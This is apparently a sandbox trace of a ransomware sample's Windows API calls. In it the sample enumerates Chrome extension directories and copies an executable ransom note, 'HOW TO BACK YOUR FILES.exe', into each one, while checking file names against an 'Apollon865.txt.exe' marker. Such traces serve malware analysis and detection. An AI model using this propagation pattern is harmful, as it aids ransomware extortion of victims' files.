	[0049.284] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35712a30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35712a30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.284] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.284] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.284] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca"
	[0049.285] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca"
	[0049.285] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.285] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.289] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.289] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35738b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35738b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.289] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.289] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.289] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg"
	[0049.289] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg"
	[0049.289] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.289] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.293] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.293] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35738b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35738b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.293] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.293] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.293] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar"
	[0049.293] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar"
	[0049.293] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.294] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.297] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.297] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35738b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35738b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.298] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.298] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.298] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf"
	[0049.298] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf"
	[0049.298] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.298] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.302] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.302] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x819d0bd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3575ecf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3575ecf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.302] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.302] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.302] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0"
	[0049.302] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0"
	[0049.302] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.302] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.307] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.307] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3575ecf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3575ecf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.308] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.308] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.308] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata"
	[0049.308] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata"
	[0049.308] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.308] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.312] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.312] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3575ecf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3575ecf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.313] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.313] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.313] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales"
	[0049.313] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales"
	[0049.313] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.313] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.319] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.319] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35784e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35784e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.319] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.319] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.319] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW"
	[0049.319] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW"
	[0049.319] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.320] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.323] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.323] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35784e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35784e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.323] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.323] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.324] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN"
	[0049.324] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN"
	[0049.324] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
